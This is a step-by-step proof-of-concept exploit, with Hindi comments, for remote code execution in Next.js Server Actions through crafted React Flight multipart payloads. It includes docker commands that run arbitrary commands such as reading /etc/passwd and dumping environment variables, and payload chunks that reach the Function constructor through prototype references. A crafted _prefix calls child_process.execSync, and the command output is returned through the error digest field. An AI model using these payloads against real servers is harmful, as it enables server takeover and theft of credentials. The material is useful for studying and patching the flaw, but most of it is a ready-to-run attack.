# 1. कमजोर Next.js सर्वर प्रारंभ करें
docker compose up -d --build

# 2. एक्सप्लॉइट चलाएं (डिफ़ॉल्ट: id कमांड)
docker compose run --rm poc

# 4. कस्टम कमांड चलाएं
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc

# 5. सर्वर रोकें
docker-compose down

// Server Action (सर्वर-साइड पर ही निष्पादित फ़ंक्शन)
async function submitForm(formData) {
  'use server'  // ← सर्वर फ़ंक्शन की घोषणा

  // डेटाबेस संचालन आदि, सर्वर-साइड प्रसंस्करण
  const result = await db.insert(formData)
  return result
}

files = {
    "0": (None, '["$1"]'),                                  # चंक0: चंक1 का संदर्भ
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # चंक1: चंक2 के fruitName का संदर्भ
    "2": (None, '{"fruitName":"cherry"}'),                  # चंक2: वास्तविक डेटा
}

{ object: 'fruit', name: 'cherry' }

files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

चंक1 का ऑब्जेक्ट → __proto__ → constructor → constructor → Function

[Function: Function]  // Function कंस्ट्रक्टर प्राप्त हुआ!

files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),  # अपने then को Chunk.prototype.then से ओवरराइड करें
    "1": (None, '"$@0"'),                          # $@0 = चंक0 का "कच्चा" प्रतिनिधित्व
}

case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {
    case "resolved_model":
      initializeModelChunk(this);  // ← यहाँ प्रवेश करता है
  }
  // ...
}

files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

function initializeModelChunk(chunk) {
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...
}

case "B":
  return (
    obj = parseInt(value.slice(2), 16),
    response._formData.get(response._prefix + obj)  // ← इसका दुरुपयोग करें
  );

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,  # toString() में त्रुटि से बचने के लिए
    "value": '{"then": "$B0"}',  # blob संदर्भ से then सेट करें
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",  # Function कंस्ट्रक्टर
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// यह फ़ंक्शन await होकर कॉल होता है → कोड निष्पादन!

# कमांड आउटपुट को त्रुटि के digest फ़ील्ड में एम्बेड करें
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)

# प्रोजेक्ट की भेद्यता जांच
npm audit